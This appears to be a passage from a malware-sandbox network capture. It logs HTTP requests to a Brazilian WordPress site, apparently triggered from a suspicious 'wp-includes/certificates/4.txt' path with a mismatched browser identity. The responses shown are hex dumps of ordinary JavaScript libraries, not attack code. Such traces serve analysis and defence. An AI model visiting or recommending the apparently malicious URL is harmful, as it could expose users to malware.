                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.108426094 CEST3758INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:43 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4f8b3-ada-58592c72eb640"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                                                      Content-Length: 2778
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929795 23601757
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69
                                                                                      Data Ascii: /*! device.js 0.1.58 */(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
                                                                                      Aug 16, 2022 11:39:50.113734961 CEST3760OUTGET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.328927994 CEST3775INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:47 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4fbbc-38f9-58592ec603240"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT
                                                                                      Content-Length: 14585
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929797 18314984
                                                                                      Age: 122
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73
                                                                                      Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' || wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.s
                                                                                      Aug 16, 2022 11:39:50.332202911 CEST3790OUTGET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.553119898 CEST3797INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:44 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53a4f-4d31-58592d7651a40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                                                      Content-Length: 19761
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929799 17189104
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e
                                                                                      Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.steps*c.stepValue),1,0);return b*c.steps*a}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1*Math.pow(10,a)))*Math.pow(10,a);e=Math.ceil(e/(1*Math.pow(10,a)))*Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b||d>c;)a=d<b?a/2:2*a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN
                                                                                      Aug 16, 2022 11:39:50.571787119 CEST3818OUTGET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.784409046 CEST3821INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:48 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53568-b61-58592d4b67500"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                                                      Content-Length: 2913
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929801 21188572
                                                                                      Age: 122
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c
                                                                                      Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> &#187;</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type||"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type||"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},
                                                                                      Aug 16, 2022 11:39:50.787954092 CEST3824OUTGET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:51.008471966 CEST3828INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:44 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53533-50bd-58592d4a732c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                                                      Content-Length: 20669
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929803 17189108
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 